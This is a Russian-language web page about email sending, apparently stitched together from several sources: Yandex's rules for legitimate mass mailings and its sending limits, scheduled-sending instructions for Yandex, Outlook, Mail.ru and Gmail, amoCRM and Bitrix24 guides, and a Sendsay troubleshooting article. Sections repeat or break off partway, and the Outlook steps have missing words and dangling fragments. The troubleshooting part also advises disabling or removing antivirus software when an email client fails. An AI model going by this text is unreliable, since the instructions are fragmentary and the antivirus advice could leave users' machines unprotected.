Содержание

Отправить много писем — Почта. Справка

Настоящий документ отражает представление компании «Яндекс» о честных рассылках. Он не является офертой и не влечет за собой никаких обязательств со стороны компании и ее почтовой службы перед сервисами, осуществляющими массовые рассылки.

Документ основан на сложившейся практике крупнейших провайдеров и почтовых служб, соответствует нормам и рекомендациям ASTA, а также «Нормам пользования сетью». Алгоритм разделения рассылок и спама является ноу-хау компании, не публикуется и не обсуждается.

Что должно быть у честной рассылки:

  1. Процесс подписки:
    • (Обяз.) Рассылка должна осуществляться только по явному требованию или согласию получателя.

    • (Обяз.) Адрес получателя рассылки должен быть явным образом подтвержден самим получателем.

    • При добавлении в рассылочный лист адреса получателей должны пройти валидацию.

  2. Процесс отказа от подписки:
    • (Обяз.) В каждом письме должны быть даны четкие инструкции о том, как отписаться от рассылки. При этом процесс отписки не должен требовать от получателя сложных действий, таких как восстановление пароля, регистрация или авторизация. Получатель должен иметь возможность отписаться от рассылки в течение 10 минут.

    • В теле письма должен быть явно указан адрес подписчика.

    • (Обяз.) В письме должен быть использован заголовок list-unsubscribe, оформленный по стандарту RFC. При переходе по ссылке из этого заголовка пользователь должен быть моментально отписан от рассылки.
    • (Обяз.) Для отписки необходимо указывать только работающие ссылки.

  3. Заголовок письма:
    • Тема сообщения должна быть понятна пользователю и не должна вводить его в заблуждение.

    • Тема сообщения должна быть одинаковой для всех писем одной рассылки.

    • (Обяз.) В поле От кого должен быть указан реально существующий электронный адрес, ассоциированный с источником рассылки. Если сообщения, поступающие на этот адрес, обрабатываются роботом, то в ответ должны приходить ясные и четкие инструкции, позволяющие связаться с вашей службой поддержки.

  4. Корректность сетевой идентификации:
    • (Обяз.) Программное обеспечение, осуществляющее рассылку, должно проверять полученные ответы. Если принимающий сервер отвечает, что указанного пользователя не существует, то рассылка по этому адресу должна быть приостановлена.

    • (Обяз.) Хост, осуществляющий рассылку, должен иметь постоянный IP-адрес с корректно настроенным обратным DNS-запросом. При этом регистрационные данные владельца домена должны быть актуальными и доступными публично по протоколу WHOIS.

    • Для корректной идентификации доменное имя должно быть содержательным, а не являться автоматическим адресом наподобие x.y.z.w-in-addr-arpa или dsl-4-3-2-1.provider.net.

    • Хост, осуществляющий рассылку, должен отличаться от хоста, посылающего обычную корреспонденцию.

    • (Если предыдущее требование невыполнимо.) Доменное имя в поле От кого должно отличаться от доменного имени, используемого для регулярной переписки, и указывать на источник корреспонденции. Например, для домена example.ru уведомления о новых сообщениях на форуме должны отправляться из домена forum.example.ru, а подписка на новости сайта — из домена news.example.ru и т. п.

    • (Обяз.) Отправитель из поля От кого должен полностью соответствовать адресу пользователя, с данными которого производится авторизация на сервере.

    • (Обяз.) Все сообщения должны быть подписаны с помощью DKIM. Также для домена должна быть настроена SPF-запись, указывающая, с каких доверенных серверов может отправляться почта этого домена.

    • Рекомендуется настроить DMARC для домена. Это дополнительная мера, с помощью которой проверяется, что DKIM и SPF принадлежат отправителю, а также формируются отчеты о попытках подделки отправителя.

  5. Другие требования:
    • Нельзя изменять информацию об отправителе или о целевой странице для любых ссылок в письмах.

    • Не рекомендуется использовать сокращенные ссылки.

    • Все ссылки в тексте должны указываться в виде полного доменного имени: нельзя использовать в качестве ссылок IP-адреса или перекодированные имена доменов (URL Encoded).

    • (Обяз.) В письме должны присутствовать стандартные заголовки, используемые при массовых или автоматических рассылках — например, Precedence: bulk ( junk, list, list-unsubscribe и т. п.). Все ссылки в них должны позволять отписаться от рассылки автоматически.

    • Заголовки и формат сообщения должны соответствовать требованиям RFC 5322 и стандарту MIME. Кроме того, в сообщении должны присутствовать корректные заголовки Date и Message-ID.
    • Для каждой части сообщения должна быть указана реально используемая кодировка. Сообщения с текстами в двух кодировках одновременно недопустимы.

    • Если рассылка осуществляется в формате HTML, в письме недопустимо использовать элементы JavaScript, ActiveX и другие потенциально опасные объекты.

Внимание. Яндекс.Почта оставляет за собой право отправлять в Спам либо не принимать совсем письма рассылок, которые не соответствуют обязательным пунктам этого документа. Соблюдение необязательных требований будет значительно понижать вероятность того, что ваши письма попадут в Спам.

Также вы можете ознакомиться с Принципами взаимодействия Яндекса с другими сетями.

Как отправить письмо автоматически? Как в Яндекс.почте отправить письмо себе в будущее или прямо сейчас и зачем это нужно? Отложенная отправка писем yandex

Уточните, на Яндексе находится ваш ящик, с которого вы хотите рассылать письма, или ящики получателей вашей рассылки?

Если вы хотите массово рассылать письма вашим партнерам или клиентам, используйте для этого только специальные рассылочные сервисы .

Если с вашего ящика ежедневно будет отправляться большое количество писем — это будет расценено нашей системой безопасности как спам. Чтобы этого не происходило, в Яндекс.Почте установлены технические ограничения на отправку писем в сутки. Обойти или изменить эти ограничения нельзя.

Если это произошло, отправка писем из вашего почтового ящика будет заблокирована. Блокируется только отправка писем — входить в Почту и получать письма вы сможете. Блокировка закончится автоматически через 24 часа, если вы не попытаетесь отправить письмо в течение этого времени, — иначе блокировка продлится еще на 24 часа.

Чтобы ваша рассылка доходила получателям на Яндексе и не попадала в папку Спам
, соблюдайте . Нежелательные рассылки следует отличать от честных. Яндекс.Почта оставляет за собой право отправлять в Спам
либо не принимать совсем письма рассылок, которые не соответствуют обязательным пунктам этого документа. Соблюдение необязательных требований будет значительно понижать вероятность того, что ваши письма попадут в Спам
.

Если вы производите рассылку на почтовые ящики на Яндексе и письма были отклонены почтовым сервером Яндекса, вы получите автоматический отчет от сервиса «Mailer-Daemon»
, в котором указываются причины недоставки и имя сервера, отклонившего дальнейшее движение письма по назначению.

Ограничения на отправку писем

  • Ограничения в Почте
  • Ограничения в Почте для домена

В течение суток можно отправить с одного ящика 500 писем. Если в письме несколько получателей, то письмо каждому из них считается отдельным письмом.

В течение суток можно отправить с одного ящика 3000 * писем. Если в письме несколько получателей, то письмо каждому из них считается отдельным письмом.

Дополнительно установлены ограничения на количество получателей:

Количество получателей Ограничение
3000 *
5000 *
50
35
Количество получателей Ограничение
Суммарно во всех письмах за сутки (с одного ящика) 3000 *
Суммарно во всех письмах за сутки (со всех ящиков одного домена) 5000 *
В одном письме, отправленном через сайт 50
В одном письме, отправленном через почтовую программу или по протоколу SMTP 35

* Учитываются только внешние получатели; владельцы ящиков на этом домене не учитываются.

Требования Яндекса к честным рассылкам

Настоящий документ отражает представление компании «Яндекс»
о честных рассылках. Он не является офертой и не влечет за собой никаких обязательств со стороны компании и ее почтовой службы перед сервисами, осуществляющими массовые рассылки.

Документ основан на сложившейся практике крупнейших провайдеров и почтовых служб, соответствует нормам и рекомендациям ASTA , а также «Нормам пользования сетью»
. Алгоритм разделения рассылок и спама является ноу-хау компании, не публикуется и не обсуждается.

    Процесс подписки:

Процесс отказа от подписки:

  • (Обяз.)
    В каждом письме должны быть даны четкие инструкции о том, как отписаться от рассылки. При этом процесс отписки не должен требовать от получателя сложных действий, таких как восстановление пароля, регистрация или авторизация. Получатель должен иметь возможность отписаться от рассылки в течение 10 минут.

    В теле письма должен быть явно указан адрес подписчика.

    (Обяз.)
    В письме должен быть использован заголовок list-unsubscribe , оформленный по стандарту RFC . При переходе по ссылке из этого заголовка пользователь должен быть моментально отписан от рассылки.

    (Обяз.)
    Для отписки необходимо указывать только работающие ссылки.

Заголовок письма:

  • Тема сообщения должна быть понятна пользователю и не должна вводить его в заблуждение.

    Тема сообщения должна быть одинаковой для всех писем одной рассылки.

    (Обяз.)
    В поле От кого
    должен быть указан реально существующий электронный адрес, ассоциированный с источником рассылки. Если сообщения, поступающие на этот адрес, обрабатываются роботом, то в ответ должны приходить ясные и четкие инструкции, позволяющие связаться с вашей службой поддержки.

Корректность сетевой идентификации:

  • (Обяз.)
    Программное обеспечение, осуществляющее рассылку, должно проверять полученные ответы. Если принимающий сервер отвечает, что указанного пользователя не существует, то рассылка по этому адресу должна быть приостановлена.

    Для корректной идентификации доменное имя должно быть содержательным, а не являться автоматическим адресом наподобие x.y.z.w-in-addr-arpa или dsl-4-3-2-1.provider.net .

Бывают такие ситуации в жизни, когда нам необходимо отправить письмо по электронной почте не сразу, а через некоторое определенное время. Некоторые из почтовых серверов, например, Яндекс, позволяют отправить письмо автоматически. Как именно это сделать?

Инструкция
  • Зайдите на свой почтовый ящик на Яндексе. Для этого введите в поле адресной строки вашего интернет-браузера www.yandex.ru. На главной странице сайта в левой части размещена почта, введите логин и пароль для входа на почту.
  • Перед вами откроется страница с входящими письмами. Чуть выше писем располагается кнопка «Написать» — нажмите ее.
  • Теперь напишите само письмо. Для начала укажите адрес почтового ящика того, кому вы это письмо отправляете. Далее укажите тему письма, в ней должно отражаться краткое содержание того, что вы пишите. Наконец, в самое большое окошко введите текст письма. Если вы хотите оформить ваше письмо как-то по-особенному, справа нажмите кнопку «Оформить письмо». Нажатием этой кнопки вы откроете панель форматирования текста. При желании можете проверить текст на наличие орфографических ошибок, нажав кнопку «Проверить орфографию». Если необходимо прикрепить какие-либо файлы к письму, нажмите кнопку «Прикрепить файлы», загрузите их со своего компьютера и прикрепите к письму. Можно также установить одну из дополнительных функций, например, уведомление о получении письма, SMS-уведомление адресата о получении письма и т.д.
  • Теперь самое интересное. Когда вы закончили работать с самим письмом, необходимо его отправить. Чтобы оно отправилось адресату автоматически, т.е. не сразу же после того как, вы его написали, а спустя определенное время, внизу под текстом письма найдите надпись «Отправить сегодня в …». Поставьте рядом с ней галочку, чтобы активизировать данную функцию. Установите точную дату и время отправки. Нажав на пиктограмму с вопросительным знаком, можно прочитать справку по данной функции. Внимание: отправку письма можно отложить не более чем на один год с текущей даты. По окончании всего процесса нажмите на кнопку «Отправить».
  • Вы можете задержать доставку отдельного сообщения или использовать правила, чтобы задержать доставку всех сообщений, открыв их в папке «Исходящие»
    в течение определенного времени после нажатия кнопки » Отправить
    «.

    Задержка доставки сообщения

    После нажатия кнопки Отправить
    сообщение останется в папке Исходящие

    Если впоследствии возникнет необходимость отправить сообщение немедленно, выполните действия, указанные ниже.

    Примечание:
    Эта функция работает только в том случае, если Outlook работает в интерактивном режиме.

    Вы можете задержать доставку всех сообщений на два часа, создав правило.

      Откройте вкладку Файл
      .

      Выберите пункт Управление правилами и оповещениями
      .

      Выберите команду Создать правило
      .

      В диалоговом окне Шаг 1. Выберите шаблон
      в группе Начать с пустого правила
      выберите вариант Применение правила к отправленным мной сообщениям
      и нажмите кнопку Далее
      .

      В списке Далее
      .

      Да

      В списке Шаг 1. Выберите действия
      установите флажок задержать доставку на [число] мин.
      .

      В диалоговом окне щелкните подчеркнутое слово число

      Установите флажки для всех нужных исключений.

      В диалоговом окне Шаг 1. Задайте имя правила

      Установите флажок Включить правило
      .

      Нажмите кнопку Готово
      .

    После нажатия кнопки Отправить
    Исходящие
    на указанное время.

    Задержка доставки одного сообщения

    После нажатия кнопки Отправить
    сообщение останется в папке Исходящие
    до наступления времени доставки.

    Примечание:
    Сервис
    щелкните Настройка учетных записей
    . На вкладке Электронная почта
    в столбце Тип

    Задержка доставки всех сообщений

      В меню Сервис
      щелкните Правила и оповещения
      и нажмите кнопку Создать правило
      .

      В поле Шаг 1. Выберите шаблон
      в разделе Начать с пустого правила
      щелкните Проверять сообщения после отправки
      , а затем нажмите кнопку Далее
      .

      В списке Шаг 1. Выберите условия отбора
      установите флажки для нужных параметров и нажмите кнопку Далее
      .

      Если ни один флажок не установлен, появится диалоговое окно с запросом подтверждения. Если нажать кнопку Да
      , созданное правило будет применяться ко всем отправляемым сообщениям.

      В списке Шаг 1. Выберите действия
      установите флажок задержать доставку на [число] мин
      .

      В диалоговом окне Шаг 2. Измените описание правила (щелкните подчеркнутое значение)
      щелкните подчеркнутое слово число
      и введите длительность задержки сообщений перед отправкой (в минутах).

      Отправка может быть задержана на срок до 120 минут.

      Задайте нужные исключения.

      В диалоговом окне Шаг 1. Задайте имя правила
      введите имя созданного правила.

      Установите флажок Включить правило
      .

      Нажмите кнопку Готово
      .

    После нажатия кнопки Отправить
    каждое сообщение будет задерживаться в папке Исходящие
    на указанное время.

    Примечание:
    Если используется учетная запись POP3, Outlook нельзя закрывать до отправки сообщения. Чтобы определить тип используемой учетной записи, в меню Сервис
    щелкните Настройка учетных записей
    . На вкладке Электронная почта
    в столбце Тип
    перечислены типы учетных записей в активном профиле Outlook.

    Приглашаю вас посмотреть еще один полезный видеоурок по теме Электронная почта
    . Мы разберем новую функцию почтовой системы Яндекс, которая называется «отложенная отправка письма».

    В обычной жизни мы как-то не задумываемся о том, что некоторые письма лучше отправлять в определенное время. Представьте себе ситуацию, когда вы отправляете какой-то документ своему руководству и не хотели бы, чтобы этот документ затерялся в куче других электронных писем.

    Обычно, когда получатель приходит на работу и открывает свой почтовый ящик, он видит целую череду писем, которые «нападали» за ночь и раннее утро. Будь ваше письмо в этом списке, его могут просто случайно удалить вместе с рекламой, особенно если вы имеете привычку отсылать письмо без темы.

    Совсем другое дело, если ваше электронное письмо придет, например, в 11 часов утра. Адресат уже разобрался со срочными делами, немного освободился и поэтому, скорее всего, отнесется к вашему письму более внимательно и благосклонно.

    Давайте выясним, как можно написать письмо «прямо сейчас», а отправить тогда, «когда надо».

    Дистанционные курсы Кашканова.
    Этот адрес электронной почты защищен от спам-ботов. У вас должен быть включен JavaScript для просмотра.

    Отложенная отправка писем электронной почты сегодня предоставляется почтовыми сервисами Mail и Yandex, а в Gmail есть возможность настроить отправку писем по расписанию через приложение для современных браузеров.

    Эта полезнейшая функция экономит время и позволяет спланировать отправку электронной почты по графику, в заданное время. Например, вам нужно отправить завтра важное письмо, но вы знаете, что будете в поездке. В этом случае вы можете подготовить письмо и вложенные материалы, указать дату и время отправки, а почтовый сервис отправит письмо по расписанию.

    Как запланировать отправку письма в почте Mail

    Для того чтобы запланировать отправку письмо в сервисе Mail.ru нужно нажать войти в свой почтовый ящик и нажать кнопку «Написать письмо»
    .

    Указать получателя, тему, текст письма (при необходимости) и добавить вложения.

    Чтобы запланировать отправку нажмите на иконку часов в панели инструментов, как показано на скриншоте, и укажите дату и время отправки.

    Запланированное письмо до отправки будет храниться в папке «Исходящие»
    , где можно отменить отправку или изменить дату и время.

    Как настроить отложенную отправку письмо в почте Yandex

    Также входите в почту, готовите письмо к отправке и рядом с кнопкой «Отправить»
    жмёте на иконку часов.

    Задаёте дату и время и жмёте на кнопку «Отправить»
    .

    Письмо можно будет найти и отредактировать в папке «Исходящие»
    .

    Вот так быстро можно запланировать отправку электронной почты по расписанию. Ничего сложного, а как выручат. Особенно когда заранее знаешь, что и куда нужно отравить. На работе столько времени высвобождается))

    Отложенная отправка писем в Gmail

    К сожалению, у пользователей почтового сервиса Gmail нет стандартных инструментов в почтовом, ящике для того чтобы запланировать отправку писем. По крайней мере, на момент написания статьи такой возможности нет.

    Но есть возможность установить плагин Boomerang for Gmail , который отлично справляется с планированием писем на отправку. К тому же он отлично интегрируется в почтовый ящик Гугл-почты.

    Скачать и установить плагин вы сможете по ссылке выше. А это видео, с официальной страницы покажет, как работает этот инструмент.

    Тематические материалы:

    Обновлено: 07.11.2021

    103583

    Если заметили ошибку, выделите фрагмент текста и нажмите Ctrl+Enter

    Настройте почту — Начиная работу

    Вы можете подключить любую почту к amoCRM, если у нее есть поддержка популярного протокола IMAP. Давайте перейдем в раздел почта и кликнем на кнопку «ещё» в правом верхнем углу. Теперь вы просто указываете свой email адрес, разрешаете доступ, и переходите на настройки интеграции с почтой. Если ваш почтовый ящик расположен на одном из популярных сервисов, вроде Яндекс Почта, Mail.ru или Gmail, то вам не понадобится даже вводить настройки.

    В другом случае вам нужно ввести информацию о IMAP, SMTP серверах и портах. Узнать данные настройки вы можете у своего провайдера.

    В amoCRM есть возможность настроить почтовый ящик следующими способами:

    • персональный
    • корпоративный

    Можно подключить почтовый ящик вроде info или sales, куда “падают” заявки с сайта, как корпоративный, чтобы менеджеры могли работать с заявками с почты. Вы можете подключить корпоративную почту сотрудников отдела продаж для того, чтобы вся их переписка с клиентом оставалась в истории работы с ним.

    Давайте подключим персональный ящик. Обратите внимание, доступ к письмам с данной почты будет иметь только владелец этого ящика, но при желании вы сможете открыть почту администратору или открывать выборочно доступ к конкретному письму. Итак, переходим в раздел почта, нажимаем «еще» и вводим название ящика.

    Теперь нажимаем продолжить и разрешаем доступ к нашему ящику, выбираем, что ящик должен быть персональным.

    При первичном импорте писем вы можете использовать функцию создания контактов по всем цепочкам писем, где есть исходящие письма. Также есть возможность группировать письма, тогда они будут отображаться в виде цепочки. При этом вы можете добавить в список исключений те адреса, письма от которых не будут группироваться. Нажимаем сохранить и начинается импорт писем. Обратите внимание, при первичном импорте будут загружены последние 500 писем за месяц.

    Вы также можете отправлять заранее заготовленные шаблоны писем из amoCRM. Для этого необходимо создать шаблон. Нажимаем в разделе почта на кнопку «еще» и создаем шаблон через «добавить шаблон». Вводим его название, тему письма и текст. Вы также можете использовать в письме имя контакта, имя пользователя и его телефон. Обратите внимание, создавать шаблоны может только администратор. Если вы хотите отправить шаблон с использованием стилей и изображениями, вы можете использовать html. Достаточно вставить код html и поставить галочку отправлять письмо с разметкой.

    Теперь вы можете отправить ваше первое письмо из amoCRM. Для этого необходимо перейти в карточку сделки или в карточку контакта, в поле активности выбрать e-mail, заполнить тему письма и его текст или выбрать заранее заготовленный шаблон. Давайте выберем шаблон, который мы создали.

    Нажимаем отправить и вот письмо уже отправилось. Оно сохранилось в карточке, вы можете нажать на него и посмотреть.

    В amoCRM вы также сможете увидеть, прочитал ли клиент письмо, для этого необходимо отправлять письма из карточки сделки или из Digital воронки.

    Создание рассылок


    Когда вы научились вести клиентскую базу и продумали список сегментов, можно переходить к работе с CRM-маркетингом.



    Рассмотрим примеры каждого из существующих типов рассылок.

    E-mail


    Почтовые рассылки — это один из традиционных каналов общения с клиентами. Почти любая форма на сайта содержит поле ввода e-mail, поэтому этот вариант рассылок подойдет большинству компаний.


    Пример: зоомагазин использует e-mail маркетинг для информирования новой марки корма для кошек.


    SMS


    Еще один способ связаться с клиентом — отправить ему SMS-сообщение. Составьте короткое сообщение с информацией о акциях и скидках, выберите нужный сегмент — и система разошлёт SMS выбранным контактам.


    Пример: автосервиc через sms-оповещения приглашает всех клиентов на сезонную смену резины.



    Для использования SMS-рассылок необходимо предварительно настроить интеграцию с сервисом отправки сообщений. Подробнее о настройке сервисов вы можете прочитать в статьях — sms.ru, Twilio и SMS-ассистент.


    Количество сообщений, которое вы можете отправить каждый день, зависит от вашего SMS-провайдера. Текущее ограничение вы можете увидеть на странице CRM-маркетинг — Настройки — SMS

    Мессенджеры


    Клиенты все чаще приходят за покупками, пока сидят в соцсетях и мессенджерах. Поэтому и общаться с нами им удобнее из соцсетей. CRM-маркетинг отправляет рассылки в те источники, откуда клиент к нам обратился. Если он изначально написал нам ВКонтакте, то и рассылка придет ВКонтакте.


    Пример: косметологическая клиника приглашает клиентов на повторные процедуры.


    Информационные звонки


    Информационный звонок — это когда клиенту приходит звонок от компании и приятный голос рассказывает о предложении. Чтобы сделать такую рассылку, напишите текст вашего сообщения в CRM-маркетинге. Битрикс24 преобразует этот текст в голос и позвонит по нужным номерам.


    Пример: напоминание участникам семинара о мероприятии.


    Для совершения звонков нужно заранее настроить телефонию. Поддерживаются только арендованные номера и подключения АТС через SIP-коннектор. В один момент времени могут выполняться только 5 звонков. Остальные звонки будут совершены после завершения текущих вызовов в порядке очереди.

    Рекламные кампании


    Используйте рекламу в CRM-маркетинге для создания персональных предложений на Яндекс.Директ, Google AdWords, ВКонтакте и Facebook.


    Принцип очень простой — вы выбираете сегмент и подключаете рекламную аудиторию. Битрикс24 передает список контактов, а все остальные действия происходят уже на стороне выбранного рекламного сервиса.


    Предварительно необходимо настроить рекламную кампанию и аудитории на стороне рекламного сервиса:


    Также вы можете работать с look-alike аудиториями ВКонтакте и Facebook.


    Рассмотрим два разных примера рекламных кампаний:

    • напоминание о бренде на широкую аудиторию.
    • рассылка на узкую аудиторию с призывом к покупке.


    Генератор продаж


    Генератор продаж создает повторные сделки и лиды с определенной группой клиентов. Вы можете сразу добавить задание менеджеру, который будет работать со сделкой. Удобный инструмент, когда коммуникацию с клиентом должен осуществить непосредственно сотрудник компании.


    Пример: продолжим сценарий приглашения клиентов на повторные процедуры в косметологической клинике.



    Отдельно работу с генератором продаж мы рассмотрим в следующей статье.


    Следующая статья:

  • Генератор продаж
  • Почему могут не отправляться электронные письма и что делать

    При отправке писем по электронной почте часто возникают проблемы: письмо не отправляется, попадает в спам или получатель его не видит. Такое случается как из-за проблем на стороне отправителя, так и на стороне получателя. В статье расскажем, как эти проблемы решить.

    Распространенные проблемы при отправке писем

    Сначала поговорим об общих проблемах, которые случаются на всех почтовых ящиках.

    Ввели неправильный адрес получателя

    Например, отправляете  на адрес [email protected] (l — это маленькая L), а письмо ушло на [email protected] (I здесь — большая английская «ай»). Если ошибиться на один символ — письмо уйдет по другому адресу.

    Также нельзя использовать запрещенные символы: вопросительные и восклицательные знаки, кавычки, запятые, русские буквы.

    Еще одна распространенная ошибка — ввод неправильного адреса почтового сервиса. Например, после @ написали не gmail.com, а gmail.ru.

    Адрес отправителя попал в черный список почтового сервиса

    Такое бывает в двух случаях: если отправитель рассылает спам или если пользуется забаненным виртуальным хостингом. С первой причиной понятно: сервис фиксирует массовую рассылку сообщений и блокирует адрес отправителя.

    Теперь ко второму случаю. Хостинг — это услуга по размещению сайта на сервере. Его можно назвать домом для сайта. Виртуальный хостинг — это многоквартирный дом, то есть. сервер делят на несколько серверов поменьше и размещают на них сайты. У каждого дома есть адрес, у хостинга это — IP-адрес. Так как ресурсы работают на одном большом сервере — то и IP-адреса у них одинаковые. В этом и проблема: если один из владельцев сайтов рассылает спам — почтовые сервисы блокируют отправку сообщений через этот IP-адрес. Поэтому другие владельцы сайтов также не смогут отправлять письма с помощью этого сервиса.

    Эту проблему помогают решить выделенные IP-адреса.

    Ящик получателя или отправителя недоступен

    Такое бывает, если на серверах ведутся технические работы. Нужно подождать некоторое время и отправить сообщение снова.

    В графе «Получатели» указано слишком много адресов

    В Gmail можно за раз отправить письмо 500 людям. В Яндекс.Почте — 50 получателей за раз, в Mail — 30, в Rambler — 100.

    Если хотите отправлять много писем за раз — пользуйтесь сервисом Sendsay. У него нет лимита на отправку сообщений.

    В почте получателя нет свободного места

    Это относится к Rambler и Gmail. Если в почте получателя нет свободного места, письма будут возвращаться отправителю. Если не получается отправить письмо, уточните у получателя, есть ли у него свободное место. Если нет — придется удалять другие сообщения. Для получения писем доступно свободного места:

    • в Rambler — 2 ГБ
    • в Gmail — 15 ГБ.

    Но 15 ГБ в Gmail — это свободное место всего Google аккаунта: диска, почты и фото. Поэтому, если нужно больше места в Гугл аккаунте, можно его докупить. 100 ГБ стоит 2 $ в месяц.

    В почтах Яндекс и Mail нет ограничений по свободному месту. При регистрации пользователям дается 10 ГБ, если они заканчиваются — сервис автоматически добавляет 1 ГБ.

    А теперь поговорим о проблемах, которые индивидуальны для каждого сервиса.

    Почему не отправляется письмо в Gmail

    Сообщение помечено как спам

    Сообщения с такими метками могут отправляться, но попадут в папку спам. Часто такие сообщения не отправляются, а почтовый ящик отправителя блокируется. Сообщения помечаются как спам по двум причинам:

    • плохая репутация IP-адреса
    • подозрительный контент письма.

    Письмо с пометкой спам в Gmail

    О репутации мы уже говорили. Теперь о контенте. Gmail блокирует письма, если ему не нравится их содержание. Например, если в исходящем письме встречаются слова «деньги, заработок, выигрыш, секс» и другие спамные слова. Также нельзя добавлять в письмо ссылки на фишинговые сайты и другие запрещенные ресурсы.

    Фишинговые сайты — это ресурсы, которые пытаются получить конфиденциальную информацию пользователя: логины, пароли, данные банковских карт.

    Фишинговые сообщения отправлять тоже нельзя. Даже если это пример, который вы хотите показать людям. Система автоматически его заблокирует.

    Пример фишингового письма на Mail.ru

    Сервер получателя не получает запросы

    Такие ошибки случаются, если email получателя введен неверно или на серверах адресата ведутся технические работы. Обычно проблема решается сама: нужно просто подождать. Если через время письмо все равно не отправилось — пишите в поддержку сервиса адресата.

    Домен попал в список ненадежных

    Если сайт попадает в такой список — почтовые сервисы блокируют исходящие письма через IP-адрес, к которому он привязан. Сайт попадает в список ненадежных по трем причинам:

    • рассылка спама
    • распространение вирусов
    • жалобы пользователей.

    Со спамом понятно: рассылаете — попадает в бан. Если пользуетесь виртуальным хостингом и «сосед» рассылает спам — блокируется отправка сообщений со всего IP-адреса.

    Если сайт распространяет вирусы — поисковые системы и антивирусы внесут его IP-адрес в черный список. Рассылка писем будет для него заблокирована. Если сайт намеренно распространяет вирусы, это правильно, что рассылку писем для него заблокировали.

    Но бывает так, что сайт взламывают хакеры и устанавливают вредоносное ПО или коды. Чтобы решить эту проблему, пишите в поддержку Яндекса и Гугла. Не пытайтесь самостоятельно удалить вирусы — можете «сломать» сайт.

    Если пользователь пожалуется на нарушения сайта и они будут найдены — домен также попадет в черный список. Чтобы проверить домен на попадание в черные списки — пользуйтесь сервисом Mxtoolbox. Он бесплатный.

    Вот так выглядит проверка домена через Mxtoolbox

    Если Gmail не отправит письмо, вам придет сообщение об ошибке. В нем будет написано, почему сообщение не отправлено или покажут код ошибки. Самые распространенные коды — 421, «4.7.0» и 550, «5.7.1.». Они связаны с тем, что домен и IP-адреса отправителя попали в списки заблокированных.

    Почему не отправляется электронное письмо в Яндекс.Почте

    Письмо похоже на спам

    У Яндекса есть собственные критерии, по которым исходящее письмо считается спамом и не отправляется. Спамом считаются однотипные письма с рекламными объявлениями.

    Читайте также:  «Чек-лист для превращения email-рассылки в увлекательный блог с гарантированным результатом»

    Также письма могут попасть в спам, если их отправляется очень много в сутки. Лимит по отправкам — 500 сообщений.

    Еще один критерий, по которому письмо может быть заблокировано — подозрительный аккаунт. Такими считаются аккаунты, к которым не привязан номер телефона или указаны вымышленные имя и фамилия.

    Не получается сохранить или отправить письмо, потому что оно большое

    Здесь речь не о размере прикрепляемого файла. Если вы попытаетесь отправить файл, который весит больше 25 МБ, он отправится в виде ссылки на Яндекс.Диск.

    Мы говорим об ошибке, которая возникает возникает, если вы цитируете сообщения в длинной переписке. В такой переписке много символов и картинок, из-за этого письмо не отправляется и сохраняется в черновиках. Чтобы не возникало такой проблемы — начинайте новые переписки.

    Отправка зависла

    Такое бывает, если произошел сбой в сети. Например, вы отправляли письмо и в этот момент пропал интернет. В таком случае нужно подождать и повторить отправку.

    Почему исходящие письма не отправляются в Mail.ru

    Письмо не отправляется из-за мер безопасности

    В таком случае на email приходит сообщение с кодом 550 и подписью «message sending for this account is disabled». Чтобы решить эту проблему, нужно сменить пароль в настройках.

    Письмо заблокировано анти-спам фильтром

    В таком случае на почту придет сообщение с кодом 550, но подписью «spam message discarded/rejected». Это значит, что письмо было заблокировано автоматическим антиспам-фильтром. Чтобы решить проблему, нужно написать в поддержку через ссылку, которая указана в письме. Если ссылка не работает, заполняйте форму «Мои письма воспринимаются как спам».

    Сообщение об ошибке 550 spam message discarded / rejected

    Читайте также: «Главные проблемы заголовков в email-рассылках: эгоцентризм, панибратство, кликбейт и другие».

    Письмо не отправляется ― ошибка «Отправка писем заблокирована»

    Такая ошибка появляется, если с аккаунта рассылали спам. Чтобы решить проблему, нужно сменить пароль от аккаунта и подтвердить номер телефона.

    IP отправителя похож на динамический

    Mail.ru блокирует любые письма, которые отправляются через динамические IP-адреса. Дело в том, что через такие адреса злоумышленники рассылают спам и обманывают людей.

    Чтобы решить эту проблему, нужно изменить PTR запись в настройках хостинга. PTR запись — это запись в DNS, которая несет информацию об IP-адресе. Самостоятельно ее лучше не менять. Обратитесь в поддержку хостинга, там помогут.

    После того, как поменяли RTP, нужно убрать IP-адрес из черного списка Mail.ru. Для этого заполните форму «Удаление IP адреса из черного списка Mail.ru».

    Превышен лимит по отправке писем в час

    У всех сервисов есть лимит на день, а у mail.ru — на час. В час можно отправлять 500 писем. Если попытаетесь отправить больше — появится эта ошибка.

    Бывают и другие, неизвестные проблемы, из-за которых письма не отправляются. Чаще всего проблема решается с помощью очистки истории и куков в браузере. Чтобы очистить браузер, нужно зайти в настройки, в раздел «конфиденциальность и безопасность».

    Еще один способ — отправить письмо через другой браузер.

    Как очистить историю и куки в Google Chrome

    Почему не отправляются письма в рассылке через почтовые клиенты

    Теперь поговорим о проблемах с почтовыми клиентами, из-за которых письма не отправляются. Этот раздел — общая информация для всех почтовых клиентов.

    Антивирус блокирует работу клиентов

    Чтобы решить проблему, отключите или удалите антивирус.

    Неправильные данные учетной записи в клиенте

    Такое случается, если вы изменили пароль от ящика в веб-браузере, но не изменили его в клиенте. Чтобы решить эту проблему, нужно ввести новый пароль в настройках учетной записи в клиенте.

    Неправильная настройка SMTP SMTP — это протокол передачи почты. Если номер SMTP порта будет неправильным — письма отправляться не будут. Правильный SMTP порт можно узнать у провайдера. Номер стандартного порта — 465.

    Меняем SMTP порт в клиенте Thunderbird

    Клиент работает некорректно

    Если вы проверили предыдущие пункты и с ними все в порядке — переустанавливайте клиент. Возможно, во время установки произошла ошибка, из-за которой клиент работает некорректно. Если переустановка не помогла — пишите в поддержку программы.

    Только для Outlook: программа работает в автономном режиме

    Если outlook работает в автономном режиме — вы сможете просматривать входящие сообщения, но отправить ничего не получится. Чтобы выйти из автономного режима зайдите на вкладку «отправка и получение» и отключите автономный режим.

    Выключаем автономный режим в Outlook

    Инструменты в помощь

    Если отправляете письма на много адресов — проблемы с отправками неизбежны. Чтобы избегать проблем или решать их быстрее — лучше пользоваться сервисами рассылки. На случай трудностей в работает поддержка. Рекомендуем попробовать наш сервис рассылок — Sendsay. Мы даем бесплатный тариф, в котором можно отправлять письма 200 людям за раз. Тариф подходит тем, кто рассылает письма коллегам или хочет протестировать Sendsay.

    У сервиса есть встроенный анализатор спам-рейтинга: если письмо попадет в спам, мы сообщим об этом. Также Sendsay анализирует количество отписавшихся от рассылки и собирает статистику по ошибкам. А еще помогает поддерживать репутацию домена, потому что не позволяет «недобросовестному соседу» рассылать письма по плохой базе.

